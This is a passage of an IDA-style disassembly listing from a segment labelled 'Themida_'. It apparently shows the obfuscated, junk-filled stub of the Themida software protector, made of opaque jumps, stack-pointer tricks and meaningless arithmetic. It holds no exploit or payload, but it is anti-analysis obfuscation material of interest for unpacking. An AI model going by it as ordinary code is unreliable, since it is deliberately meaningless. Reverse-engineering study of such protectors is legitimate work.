jmp loc_59F2B4
; ---------------------------------------------------------------------------
loc_5AE3C0: ; CODE XREF: Themida_:loc_59ED73j
shr edi, 7
jp loc_5AA34C
sub edi, 88F251h
jmp loc_5A0A4E
; ---------------------------------------------------------------------------
loc_5AE3D4: ; CODE XREF: Themida_:005AB614j
not eax
xchg eax, ebx
push esi
jmp loc_5AF175
; ---------------------------------------------------------------------------
loc_5AE3DD: ; CODE XREF: Themida_:0059C34Cj
xchg edx, [esp]
pop esp
add ebp, ebx
mov ebx, [esp]
jmp loc_59DF68
; ---------------------------------------------------------------------------
loc_5AE3EB: ; CODE XREF: Themida_:005A1E88j
pop eax
jmp loc_5A5B3A
; ---------------------------------------------------------------------------
loc_5AE3F1: ; CODE XREF: Themida_:005A050Cj
sub esi, edx
pop edx
add esi, ebp
add esi, 0B536671h
sub esi, 45261EC8h
sub esi, 35C14C00h
pop ebp
and ecx, esi
mov esi, [esp]
add esp, 4
shr ecx, 6
push ebp
push 6225h
jmp loc_5A4AD1
; ---------------------------------------------------------------------------
loc_5AE422: ; CODE XREF: Themida_:005AA7A9j
sub ebp, 78EE43F9h
jmp loc_5A2649
; ---------------------------------------------------------------------------
loc_5AE42D: ; CODE XREF: Themida_:005A22B0j
sub dword ptr [esp], 4C1D1448h
mov ebp, [esp]
add esp, 4
add ebp, 4C1D1448h
pop esi
mov edi, [esp]
add esp, 4
jmp loc_599863
; ---------------------------------------------------------------------------
loc_5AE44F: ; CODE XREF: Themida_:005AADC8j
mov ebx, 4E1B3B94h
mov eax, ebx
pop ebx
shr eax, 2
and eax, 37305A5Eh
jmp loc_5AF50C
; ---------------------------------------------------------------------------
loc_5AE464: ; CODE XREF: Themida_:0059BF34j
push edx
sub dword ptr [esp], 172F75F1h
pop ecx
add ecx, 172F75F1h
pop edx
and ecx, 74D56A9h
or ecx, 441371FBh
push 4D09h
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_59F6D8
; ---------------------------------------------------------------------------
loc_5AE497: ; CODE XREF: Themida_:0059A55Dj
sub edi, 280B4690h
jns loc_5994BB
xor edi, 5616CA1Bh
or esi, edi
pop edi
mov edi, edi
loc_5AE4AE: ; CODE XREF: Themida_:0059EA70j
mov ebx, 18D44E3Dh
shl ebx, 3
and ebx, 20D31A4Dh
push eax
mov eax, 49472A9Dh
jmp loc_59AA5E
; ---------------------------------------------------------------------------
loc_5AE4C7: ; CODE XREF: Themida_:005AD307j
pop esi
sub eax, 6CF66B8Eh
add eax, edx
jmp loc_59BAA0
; ---------------------------------------------------------------------------
loc_5AE4D4: ; CODE XREF: Themida_:005A6956j
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
mov [esp], ecx
jmp loc_59EC86
; ---------------------------------------------------------------------------
loc_5AE4FC: ; CODE XREF: Themida_:005A0E3Aj
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5A4DE1
; ---------------------------------------------------------------------------
loc_5AE507: ; CODE XREF: Themida_:00599A0Dj
push edi
mov edi, 4
mov ebp, edi
pop edi
sub eax, 39431564h
add eax, ebp
push ecx
jmp loc_5A1E0E
; ---------------------------------------------------------------------------
loc_5AE51D: ; CODE XREF: Themida_:005A3734j
add eax, ecx
mov ecx, [esp]
add esp, 4
push edx
mov edx, 40CB29E6h
not edx
jmp loc_599D79
; ---------------------------------------------------------------------------
loc_5AE535: ; CODE XREF: Themida_:005A6C21j
push 45F6h
mov [esp], edx
push ebp
push 263C705Dh
pop ebp
xor ebp, 791469A7h
dec ebp
jno loc_5A8DD8
jmp loc_5A60DD
; ---------------------------------------------------------------------------
pop esi
xor edi, ecx
jmp loc_5AD369
; ---------------------------------------------------------------------------
mov ebx, eax
loc_5AE560: ; CODE XREF: Themida_:005AE594j
mov ebp, 14807AAh
neg ebp
jp loc_598C6E
inc ebp
neg ebp
xor ebp, 2D0917B7h
push esp
loc_5AE577: ; CODE XREF: Themida_:005A951Cj
add esp, 4
jmp loc_5AC353
; ---------------------------------------------------------------------------
loc_5AE582: ; CODE XREF: Themida_:005A2568j
mov [esp], edx
sub esp, 4
mov [esp], esi
mov esi, 4B06451Ah
push ebp
jmp loc_5AE560
; ---------------------------------------------------------------------------
loc_5AE599: ; CODE XREF: Themida_:005AA075j
add esp, 4
mov ebx, [esp]
add esp, 4
push ebp
push esi
push 39D1753Ah
jmp loc_5A74EA
; ---------------------------------------------------------------------------
loc_5AE5AE: ; CODE XREF: Themida_:005AF8B9j
sub eax, 23D310EAh
sub eax, edx
add eax, 23D310EAh
sub eax, 53B043BAh
mov edx, [esp]
add esp, 4
add ebp, eax
push dword ptr [esp]
mov eax, [esp]
push eax
jmp loc_59D763
; ---------------------------------------------------------------------------
loc_5AE5D3: ; CODE XREF: Themida_:005A5231j
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
push esi
mov esi, esp
jmp loc_5A4D7D
; ---------------------------------------------------------------------------
loc_5AE5E5: ; CODE XREF: Themida_:005A0239j
and eax, 75D433C7h
xor eax, 592C1060h
jmp loc_5AC439
; ---------------------------------------------------------------------------
loc_5AE5F4: ; CODE XREF: Themida_:005A74C4j
mov esp, [esp]
push ebp
sub esp, 4
mov [esp], esp
jmp loc_5A568F
; ---------------------------------------------------------------------------
loc_5AE603: ; CODE XREF: Themida_:005AD02Ej
mov edx, esp
add edx, 4
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, 4
add ebx, edi
pop edi
push edx
mov edx, 6E88297Bh
sub esp, 4
mov [esp], eax
jmp loc_59AC30
; ---------------------------------------------------------------------------
loc_5AE639: ; CODE XREF: Themida_:005A390Aj
mov esp, [esp]
idiv cl
jmp loc_59C621
; ---------------------------------------------------------------------------
loc_5AE643: ; CODE XREF: Themida_:005AC373j
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_599340
; ---------------------------------------------------------------------------
loc_5AE65C: ; CODE XREF: Themida_:0059DE0Fj
sub esi, 6CDC5209h
add esi, eax
add esi, 6CDC5209h
jmp loc_5A585F
; ---------------------------------------------------------------------------
loc_5AE66F: ; CODE XREF: Themida_:005A936Fj
mov esi, ebx
pop ebx
add edx, esi
push dword ptr [esp]
pop esi
push ebp
push esp
push dword ptr [esp]
pop ebp
push ebp
jmp loc_5AB249
; ---------------------------------------------------------------------------
loc_5AE684: ; CODE XREF: Themida_:0059B344j
xor eax, edx
xor edx, eax
push ecx
push esi
mov esi, 918A92D4h
mov ecx, esi
mov esi, [esp]
add esp, 4
xor edx, ecx
jmp loc_59B151
; ---------------------------------------------------------------------------
loc_5AE69E: ; CODE XREF: Themida_:005ABCDBj
push 3DCDh
mov [esp], ecx
mov ecx, 54C2345Dh
or ecx, 5B352D46h
jg loc_5A9B97
and ecx, 1B73484Ah
jmp loc_5A9C3B
; ---------------------------------------------------------------------------
loc_5AE6C2: ; CODE XREF: Themida_:005A06ABj
add esp, 4
add eax, 2
jmp loc_59A419
; ---------------------------------------------------------------------------
loc_5AE6D0: ; CODE XREF: Themida_:005A342Aj
push esi
push ecx
mov ecx, 5BE6564Dh
sub ecx, 3CFB4D98h
jmp loc_5A8B40
; ---------------------------------------------------------------------------
loc_5AE6E2: ; CODE XREF: Themida_:0059D5D0j
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_59FE19
; ---------------------------------------------------------------------------
loc_5AE700: ; CODE XREF: Themida_:0059A10Ej
mov esi, [esp]
add esp, 4
shl ebx, 4
jmp loc_5AC14D
; ---------------------------------------------------------------------------
loc_5AE70E: ; CODE XREF: Themida_:005AACC6j
sub esi, 4F8C5174h
jmp loc_5A141B
; ---------------------------------------------------------------------------
loc_5AE719: ; CODE XREF: Themida_:005A25D7j
push 0C8Fh
mov [esp], ecx
jmp loc_5AFCB0
; ---------------------------------------------------------------------------
loc_5AE726: ; CODE XREF: Themida_:005995AFj
mov edi, eax
pop eax
and edi, 5D9D6050h
jmp loc_59FE9A
; ---------------------------------------------------------------------------
loc_5AE734: ; CODE XREF: Themida_:005AAC06j
mov ebx, [esp]
add esp, 4
jmp loc_5A87E2
; ---------------------------------------------------------------------------
loc_5AE73F: ; CODE XREF: Themida_:005A7227j
xor ecx, edx
pop edx
jmp loc_5A4B0D
; ---------------------------------------------------------------------------
loc_5AE747: ; CODE XREF: Themida_:005A45BDj
and edx, 6AAF69CDh
shl edx, 1
push eax
mov eax, 313226B5h
sub edx, eax
jmp loc_5AB52D
; ---------------------------------------------------------------------------
loc_5AE75C: ; CODE XREF: Themida_:005A5AC1j
mov cl, bh
pop ebx
jmp loc_599BE5
; ---------------------------------------------------------------------------
loc_5AE764: ; CODE XREF: Themida_:loc_59C6B8j
; Themida_:005AB742j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
and [esp], eax
pushf
jmp loc_5A3401
; ---------------------------------------------------------------------------
loc_5AE776: ; CODE XREF: Themida_:005A1265j
xchg edx, [esp]
pop esp
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5AEC82
; ---------------------------------------------------------------------------
loc_5AE785: ; CODE XREF: Themida_:005A49B4j
; Themida_:005A5FEBj
push eax
jmp loc_5AA161
; ---------------------------------------------------------------------------
loc_5AE78B: ; CODE XREF: Themida_:005A604Dj
; Themida_:005AA90Cj
sub [esp+4], esi
jmp loc_5A3BCE
; ---------------------------------------------------------------------------
loc_5AE794: ; CODE XREF: Themida_:00599EBAj
sub esi, ebp
pop ebp
add esi, ecx
add esi, 593B4DCFh
pop ecx
push eax
jmp loc_5AF5EF
; ---------------------------------------------------------------------------
loc_5AE7A6: ; CODE XREF: Themida_:005A804Cj
mov si, 5B66h
inc si
jg loc_5A0FE3
sub si, 5B65h
mov cx, si
jmp loc_5AF768
; ---------------------------------------------------------------------------
push esp
loc_5AE7C0: ; CODE XREF: Themida_:005A2373j
jmp loc_59CFB7
; ---------------------------------------------------------------------------
loc_5AE7C5: ; CODE XREF: Themida_:005AC7D3j
add edi, ebx
push eax
mov eax, 0F515054h
or eax, 7FF0DFCh
or eax, 53017C44h
push esi
mov esi, 61E16A5Fh
sub esi, 0FE20233Eh
inc esi
jmp loc_5AACCB
; ---------------------------------------------------------------------------
loc_5AE7E9: ; CODE XREF: Themida_:005A0454j
pop eax
shl eax, 2
sub eax, 4F1B35FEh
jmp loc_59FDD6
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AE7FE: ; CODE XREF: Themida_:005A364Fj
shr al, 5
or al, 80h
ja loc_5A51D9
add al, 0E7h
mov dl, al
jmp loc_5A2230
; ---------------------------------------------------------------------------
mov ecx, eax
mov eax, ecx
loc_5AE816: ; CODE XREF: Themida_:005A7955j
push dword ptr [esp]
pop ebp
jmp loc_5A945E
; ---------------------------------------------------------------------------
loc_5AE81F: ; CODE XREF: Themida_:0059CE49j
add ebx, 3D1778FBh
add ebx, 2D74210Ah
add ebx, 37A52391h
add ebx, 61D54718h
sub ebx, ecx
sub ebx, 61D54718h
jmp loc_5A4F8E
; ---------------------------------------------------------------------------
loc_5AE844: ; CODE XREF: Themida_:005A3DB4j
xor ebx, [esp]
pop esp
cmp cx, ax
pushf
jmp loc_5A01AB
; ---------------------------------------------------------------------------
loc_5AE851: ; CODE XREF: Themida_:005A1298j
push edi
mov edi, 0AA3FFDh
add edx, edi
jmp loc_59DC88
; ---------------------------------------------------------------------------
loc_5AE85E: ; CODE XREF: Themida_:005A8AF2j
xor dx, si
pop esi
push ebx
push small 2550h
jmp loc_59E734
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edi
jmp loc_59EF6F
; ---------------------------------------------------------------------------
loc_5AE875: ; CODE XREF: Themida_:005A3BC9j
mov eax, 4
mov ebp, eax
pop eax
sub edx, 4C41089Dh
jmp loc_5AEE8D
; ---------------------------------------------------------------------------
loc_5AE888: ; CODE XREF: Themida_:005A684Dj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AE88D: ; CODE XREF: Themida_:0059967Dj
or edx, 37A22449h
jle loc_5A7F22
jmp loc_59987F
; ---------------------------------------------------------------------------
loc_5AE89E: ; CODE XREF: Themida_:0059E9E9j
neg esi
add esi, 98D35681h
sub ecx, 75D10E05h
sub ecx, esi
add ecx, 75D10E05h
pop esi
sub ecx, 0BC5A84FCh
push ecx
pop eax
pop ecx
push 4357h
mov [esp], edx
mov edx, 3C4369Fh
and eax, edx
pop edx
add eax, 4E819B3h
or edi, eax
mov eax, [esp]
jmp loc_5A8F97
; ---------------------------------------------------------------------------
loc_5AE8DD: ; CODE XREF: Themida_:005A2B0Aj
add esp, 4
jmp loc_59CA4F
; ---------------------------------------------------------------------------
loc_5AE8E5: ; CODE XREF: Themida_:005A5CA8j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_5A761A
; ---------------------------------------------------------------------------
loc_5AE8F3: ; CODE XREF: Themida_:00599A85j
pop edx
sub ebp, 4DDD0D89h
add ebp, 45591184h
sub ebp, eax
sub ebp, 45591184h
push ecx
mov ecx, 279D114Bh
xor ecx, 1254703Eh
inc ecx
not ecx
and ecx, 7E4A0976h
add ecx, 17C95910h
xor ecx, 1E980C0Eh
sub ecx, 31765F95h
add ebp, ecx
pop ecx
pop eax
add ebx, ebp
pop ebp
push esi
mov esi, 4
jmp loc_5AA26D
; ---------------------------------------------------------------------------
loc_5AE941: ; CODE XREF: Themida_:0059C748j
mov [esp], edx
jmp loc_59EAC1
; ---------------------------------------------------------------------------
loc_5AE949: ; CODE XREF: Themida_:0059977Aj
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push 23A3h
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebp, [esp]
push 641h
mov [esp], eax
jmp loc_5AB058
; ---------------------------------------------------------------------------
loc_5AE978: ; CODE XREF: Themida_:0059F004j
sub esp, 4
jmp loc_59D09A
; ---------------------------------------------------------------------------
loc_5AE980: ; CODE XREF: Themida_:005A22C9j
add esp, 4
jmp loc_5A3D24
; ---------------------------------------------------------------------------
loc_5AE98B: ; CODE XREF: Themida_:005ADEA4j
pop eax
mov ebp, edx
pop edx
mov ebx, [esp]
add esp, 4
sub [edi+24h], ebp
push dword ptr [esp]
jmp loc_5A545C
; ---------------------------------------------------------------------------
loc_5AE9A0: ; CODE XREF: Themida_:0059BA53j
jmp loc_5AA487
; ---------------------------------------------------------------------------
loc_5AE9A5: ; CODE XREF: Themida_:0059F23Bj
pop edi
jmp loc_59DBB3
; ---------------------------------------------------------------------------
loc_5AE9AB: ; CODE XREF: Themida_:005AA5BBj
inc esi
dec esi
shl esi, 3
jmp loc_5A2094
; ---------------------------------------------------------------------------
loc_5AE9B5: ; CODE XREF: Themida_:005A87F7j
add edx, ebx
push 2516h
jmp loc_5A4C83
; ---------------------------------------------------------------------------
loc_5AE9C1: ; CODE XREF: Themida_:00598B27j
pop ebx
jmp loc_5A8C04
; ---------------------------------------------------------------------------
loc_5AE9C7: ; CODE XREF: Themida_:005A9E2Cj
pop ebp
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], esp
push edi
mov edi, 4
jmp loc_5ACA79
; ---------------------------------------------------------------------------
loc_5AE9DD: ; CODE XREF: Themida_:005A363Bj
push edi
jmp loc_5A3661
; ---------------------------------------------------------------------------
loc_5AE9E3: ; CODE XREF: Themida_:005A4EB0j
mov cl, 0C9h
sub cl, bl
jmp loc_5A08FE
; ---------------------------------------------------------------------------
loc_5AE9EC: ; CODE XREF: Themida_:005A4352j
add edi, esi
pop esi
jmp loc_5A0DDF
; ---------------------------------------------------------------------------
loc_5AE9F4: ; CODE XREF: Themida_:005A0F94j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push 2A68h
jmp loc_59A4AF
; ---------------------------------------------------------------------------
loc_5AEA0A: ; CODE XREF: Themida_:0059AB03j
add ebx, ecx
jmp loc_5A5D17
; ---------------------------------------------------------------------------
loc_5AEA11: ; CODE XREF: Themida_:0059E3C8j
; Themida_:loc_5ADED5j
xor edx, eax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AEA18: ; CODE XREF: Themida_:005ABA5Fj
push ecx
jmp loc_5AF69B
; ---------------------------------------------------------------------------
loc_5AEA1E: ; CODE XREF: Themida_:005990CBj
pop dword ptr [esp]
mov esp, [esp]
movzx ecx, ax
push 4DF3h
mov [esp], ecx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AEA34: ; CODE XREF: Themida_:005AD496j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_59CB63
; ---------------------------------------------------------------------------
loc_5AEA43: ; CODE XREF: Themida_:005A44C4j
ja loc_59BE73
push ecx
push ebp
jmp loc_5A1213
; ---------------------------------------------------------------------------
pop esi
push ebx
and al, 7Fh
loc_5AEA54: ; CODE XREF: Themida_:0059B7FBj
; Themida_:loc_5ACC0Fj
xor ebx, 1C2253A0h
jl loc_5AEF08
sub ebx, 17729FB3h
mov [edi+20h], ebx
jmp loc_5A51D9
; ---------------------------------------------------------------------------
loc_5AEA6E: ; CODE XREF: Themida_:005A92AAj
sub eax, ecx
jmp loc_5A1A49
; ---------------------------------------------------------------------------
loc_5AEA75: ; CODE XREF: Themida_:005A9653j
push eax
push ebp
jmp loc_5A8C1B
; ---------------------------------------------------------------------------
loc_5AEA7C: ; CODE XREF: Themida_:0059E4E2j
push edi
mov edi, esp
jmp loc_59A862
; ---------------------------------------------------------------------------
loc_5AEA84: ; CODE XREF: Themida_:005AAB0Fj
sub eax, 2FC40B6Bh
jb loc_59FED4
add eax, 0DB8E193Dh
mov esi, eax
mov eax, [esp]
jmp loc_5A90A6
; ---------------------------------------------------------------------------
loc_5AEA9E: ; CODE XREF: Themida_:005A207Cj
shr ebp, 2
neg ebp
sub ebp, 924CFBCBh
push 7F5Bh
mov [esp], eax
mov eax, 18900390h
shr eax, 7
shr eax, 4
jmp loc_5A3C65
; ---------------------------------------------------------------------------
loc_5AEAC1: ; CODE XREF: Themida_:005989B8j
push ebx
mov ebx, 4
add ebp, ebx
jmp loc_5997CF
; ---------------------------------------------------------------------------
loc_5AEACE: ; CODE XREF: Themida_:005A9B30j
push 6C9Ah
mov [esp], edx
mov edx, 4
jmp loc_5A45CD
; ---------------------------------------------------------------------------
loc_5AEAE0: ; CODE XREF: Themida_:005AD8C3j
mov eax, 7F3804D2h
sub eax, 0F335D06h
xor eax, 713B3A7Bh
add eax, 900C424Ch
add edi, eax
pop eax
and ebp, edi
jmp loc_59A90F
; ---------------------------------------------------------------------------
loc_5AEAFE: ; CODE XREF: Themida_:0059C3CDj
or ebp, eax
jmp loc_59C737
; ---------------------------------------------------------------------------
loc_5AEB05: ; CODE XREF: Themida_:0059DDEEj
; Themida_:005A1FECj
xor [esp], esi
jmp loc_59B3E3
; ---------------------------------------------------------------------------
loc_5AEB0D: ; CODE XREF: Themida_:005A999Dj
sub dword ptr [esp], 39CA6F5Eh
jmp loc_59DA89
; ---------------------------------------------------------------------------
loc_5AEB19: ; CODE XREF: Themida_:005AAD81j
pop edx
xor edi, 3BC92D7Dh
push ecx
jmp loc_5A9D6E
; ---------------------------------------------------------------------------
loc_5AEB26: ; CODE XREF: Themida_:005A38EAj
sub al, 25h
pop ecx
sub al, 4Ah
add al, bl
add al, 4Ah
push ebx
mov bl, 0E8h
or bl, 0B9h
shl bl, 2
push edx
mov dl, 3Fh
jmp loc_59B929
; ---------------------------------------------------------------------------
loc_5AEB40: ; CODE XREF: Themida_:005A38B3j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push edx
mov dh, 0F1h
mov ah, dh
push dword ptr [esp]
jmp loc_5A1B56
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4BDEh
mov [esp], ebp
push 1FE0h
push esp
pop dword ptr [esp]
push esi
mov esi, 4
sub dword ptr [esp+4], 4A7C6D7Dh
add [esp+4], esi
add dword ptr [esp+4], 4A7C6D7Dh
jmp loc_59B450
; ---------------------------------------------------------------------------
loc_5AEB91: ; CODE XREF: Themida_:0059CF0Fj
; Themida_:0059D2D3j
mov eax, 2EC373FFh
mov ebx, eax
pop eax
or edi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
xor edi, 1C3B0D90h
dec edi
jmp loc_5A258A
; ---------------------------------------------------------------------------
loc_5AEBAE: ; CODE XREF: Themida_:loc_59CBD0j
; Themida_:005A3431j
xor ecx, 9CE96EF3h
neg ecx
xor ecx, 226A0E98h
shr ecx, 8
jmp loc_5A706F
; ---------------------------------------------------------------------------
loc_5AEBC4: ; CODE XREF: Themida_:005A86C1j
sub dword ptr [esp], 56555F3Ah
jmp loc_5A71D1
; ---------------------------------------------------------------------------
loc_5AEBD0: ; CODE XREF: Themida_:0059CF5Dj
xchg edx, [esp]
mov esp, [esp]
push ecx
mov ecx, esp
jmp loc_5A6E47
; ---------------------------------------------------------------------------
loc_5AEBDE: ; CODE XREF: Themida_:loc_59F424j
xor ebp, 5410B164h
push ebp
jmp loc_5ABDC9
; ---------------------------------------------------------------------------
loc_5AEBEA: ; CODE XREF: Themida_:loc_598D97j
xor ebx, 0B369F022h
mov ecx, ebx
jmp loc_5ACF5E
; ---------------------------------------------------------------------------
loc_5AEBF7: ; CODE XREF: Themida_:00598DFEj
add ebp, 4CBD236Ch
add ebp, ebx
sub ebp, 4CBD236Ch
pop ebx
push ebx
mov ebx, 4
sub ebp, ebx
pop ebx
jmp loc_59FFB2
; ---------------------------------------------------------------------------
loc_5AEC14: ; CODE XREF: Themida_:005A8719j
xor ebp, 3840200Ch
jp loc_59B017
inc ebp
js loc_599059
push edi
mov ebx, ebp
push ebp
loc_5AEC2B: ; CODE XREF: Themida_:005AC94Bj
push esp
mov eax, [esp]
jmp loc_5AAFA5
; ---------------------------------------------------------------------------
loc_5AEC34: ; CODE XREF: Themida_:0059C0C4j
mov [esp], ecx
jmp loc_59CFF2
; ---------------------------------------------------------------------------
loc_5AEC3C: ; CODE XREF: Themida_:005A9157j
shr eax, 2
sub eax, 69C9434Eh
add edi, eax
pop eax
add eax, edi
pop edi
add eax, 2CC42468h
sub eax, 16200E4Eh
sub eax, 4DA443A1h
sub eax, ecx
add eax, 4DA443A1h
jmp loc_5A06BB
; ---------------------------------------------------------------------------
loc_5AEC65: ; CODE XREF: Themida_:0059BDA5j
push ebx
sub dword ptr [esp], 0D84053Ch
mov ecx, [esp]
add esp, 4
add ecx, 0D84053Ch
pop ebx
jmp loc_5A53CB
; ---------------------------------------------------------------------------
loc_5AEC82: ; CODE XREF: Themida_:005AE780j
add esp, 4
or [esp], eax
pushf
jmp loc_59D463
; ---------------------------------------------------------------------------
loc_5AEC8E: ; CODE XREF: Themida_:0059B572j
mov ebx, 32EE7D04h
or ebx, 53D87871h
jmp loc_59C7E6
; ---------------------------------------------------------------------------
loc_5AEC9E: ; CODE XREF: Themida_:005AFAABj
xchg ebx, [esp]
pop esp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
and ecx, esi
jmp loc_5ABA8A
; ---------------------------------------------------------------------------
loc_5AECB3: ; CODE XREF: Themida_:0059D525j
dec ecx
push eax
mov eax, 161A4C31h
xor ecx, eax
pop eax
xor eax, ecx
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5A899E
; ---------------------------------------------------------------------------
loc_5AECD7: ; CODE XREF: Themida_:005A5F2Aj
mov esi, [esp]
add esp, 4
jmp loc_5A44FB
; ---------------------------------------------------------------------------
loc_5AECE5: ; CODE XREF: Themida_:loc_59EE1Aj
sub esi, 8ED0E305h
shr esi, 2
jmp loc_59B077
; ---------------------------------------------------------------------------
loc_5AECF3: ; CODE XREF: Themida_:005A8543j
pop edx
add ecx, ebx
jmp loc_5AD088
; ---------------------------------------------------------------------------
loc_5AECFB: ; CODE XREF: Themida_:0059FE84j
pop esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
sub esp, 4
jmp loc_5AF2E4
; ---------------------------------------------------------------------------
loc_5AED13: ; CODE XREF: Themida_:005A0E67j
mov esi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5ABBD8
; ---------------------------------------------------------------------------
loc_5AED20: ; CODE XREF: Themida_:005A6296j
add esi, edi
jmp loc_59A384
; ---------------------------------------------------------------------------
loc_5AED27: ; CODE XREF: Themida_:005AC4B4j
add bl, al
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
jmp loc_5ADA0C
; ---------------------------------------------------------------------------
loc_5AED3D: ; CODE XREF: Themida_:loc_5A2441j
push ebx
mov ebx, 12AA7922h
add edi, ebx
pop ebx
xor edi, 0EBC17BEDh
shl edi, 5
or edi, 26BD0E9Eh
jmp loc_5A1A61
; ---------------------------------------------------------------------------
loc_5AED5A: ; CODE XREF: Themida_:005A70E9j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push edi
push edx
push 36A539EFh
pop edx
inc edx
sub edx, 0C70AE7A7h
jmp loc_5AF3F4
; ---------------------------------------------------------------------------
loc_5AED7D: ; CODE XREF: Themida_:005ABD23j
pop ebp
jmp loc_599648
; ---------------------------------------------------------------------------
loc_5AED83: ; CODE XREF: Themida_:005A57AEj
mov eax, 4
add [esp+4], eax
push dword ptr [esp]
pop eax
add esp, 4
pop edx
push 31E4h
mov [esp], ebx
mov ebx, 5C3701C0h
sub ebx, 67C710BCh
sub ebx, 0FFFFFFFFh
xchg ecx, ebx
not ecx
push ebx
sub esp, 4
mov [esp], ecx
mov ebx, [esp]
add esp, 4
mov ecx, [esp]
jmp loc_5A692D
; ---------------------------------------------------------------------------
locret_5AEDC9: ; CODE XREF: Themida_:0059D289j
retn
; ---------------------------------------------------------------------------
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AEDCF: ; CODE XREF: Themida_:005ADB44j
sub edx, 68964CE5h
jmp loc_59E842
; ---------------------------------------------------------------------------
loc_5AEDDA: ; CODE XREF: Themida_:005AAF04j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5ADAB6
; ---------------------------------------------------------------------------
loc_5AEDE7: ; CODE XREF: Themida_:0059B6B2j
pop eax
add esp, 4
add eax, 4
push esi
mov esi, esp
push edi
jmp loc_5AE266
; ---------------------------------------------------------------------------
loc_5AEDFC: ; CODE XREF: Themida_:00598D92j
; Themida_:005AA4EEj
add word ptr [esp+4], 1217h
add [esp+4], dx
jmp loc_59D8BF
; ---------------------------------------------------------------------------
loc_5AEE0D: ; CODE XREF: Themida_:0059BE45j
; Themida_:005A079Fj ...
sub esp, 4
jmp loc_5AFB1D
; ---------------------------------------------------------------------------
loc_5AEE18: ; CODE XREF: Themida_:005A4D44j
; Themida_:005A4F3Fj
add cl, 12h
add cl, 0F5h
sub dh, 68h
add dh, cl
jmp loc_5A7050
; ---------------------------------------------------------------------------
loc_5AEE28: ; CODE XREF: Themida_:005A9960j
mov eax, [esp]
add esp, 4
push 37C0h
mov [esp], esi
mov esi, 986655Ch
sub esp, 4
mov [esp], esi
not dword ptr [esp]
jmp loc_59BB45
; ---------------------------------------------------------------------------
loc_5AEE4F: ; CODE XREF: Themida_:005A5641j
; Themida_:005ACC1Bj
xor eax, 4869C23h
add ebx, eax
jmp loc_59FD5C
; ---------------------------------------------------------------------------
loc_5AEE5B: ; CODE XREF: Themida_:005A34F9j
mov ebp, 4
sub eax, 57515842h
jmp loc_5A11FF
; ---------------------------------------------------------------------------
loc_5AEE6A: ; CODE XREF: Themida_:005A9405j
; Themida_:005AB22Bj
neg cl
xor cl, 2Dh
xor cl, 47h
jmp loc_5997A7
; ---------------------------------------------------------------------------
loc_5AEE77: ; CODE XREF: Themida_:005AA047j
sub edi, ecx
jmp loc_59A02A
; ---------------------------------------------------------------------------
loc_5AEE7E: ; CODE XREF: Themida_:005A495Dj
mov ah, 92h
add dh, ah
pop ax
and al, dh
pop edx
push edx
jmp loc_599E04
; ---------------------------------------------------------------------------
loc_5AEE8D: ; CODE XREF: Themida_:005AE883j
add edx, ebp
jmp loc_5AC57C
; ---------------------------------------------------------------------------
loc_5AEE94: ; CODE XREF: Themida_:005AB573j
pop ecx
jmp loc_5A0785
; ---------------------------------------------------------------------------
loc_5AEE9A: ; CODE XREF: Themida_:005AB129j
push dword ptr [esp]
pop eax
jmp loc_5A3BE2
; ---------------------------------------------------------------------------
loc_5AEEA3: ; CODE XREF: Themida_:0059D31Aj
pop esp
push esi
push ebx
push 2D4D62A8h
pop ebx
jmp loc_5AD195
; ---------------------------------------------------------------------------
loc_5AEEB1: ; CODE XREF: Themida_:005AC4A1j
shl eax, 3
jmp loc_5A7EF1
; ---------------------------------------------------------------------------
loc_5AEEB9: ; CODE XREF: Themida_:005AA89Bj
mov [esp], edx
mov edx, 4FCC094Ch
dec edx
add edx, 0C233397Ah
jmp loc_5A1968
; ---------------------------------------------------------------------------
loc_5AEECD: ; CODE XREF: Themida_:00598B1Ej
; Themida_:loc_5A6BDCj
pop esi
push edi
jmp loc_5AA2E4
; ---------------------------------------------------------------------------
loc_5AEED4: ; CODE XREF: Themida_:005A3487j
jmp loc_5A6FD3
; ---------------------------------------------------------------------------
loc_5AEED9: ; CODE XREF: Themida_:005A1A2Fj
xor ebx, 62637CCCh
push ebx
jmp loc_5A85CB
; ---------------------------------------------------------------------------
